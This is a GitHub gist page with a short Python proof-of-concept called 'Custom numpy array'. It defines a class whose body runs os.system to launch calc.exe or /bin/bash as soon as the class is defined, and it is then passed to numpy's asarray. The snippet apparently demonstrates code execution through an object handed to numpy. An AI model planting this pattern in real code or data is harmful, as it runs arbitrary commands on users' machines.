Skip to content

Instantly share code, notes, and snippets.

@moohax
Last active August 26, 2022 12:22
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save moohax/ddff652d39158e63810ff145d44ca657 to your computer and use it in GitHub Desktop.
Save moohax/ddff652d39158e63810ff145d44ca657 to your computer and use it in GitHub Desktop.
Custom numpy array
# https://numpy.org/doc/stable/reference/generated/numpy.array.html
class ArrayExec:
import os
if os.name == 'nt':
os.system("calc.exe")
else:
os.system("/bin/bash")
def __array__(self):
return 1
np.asarray(ArrayExec)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment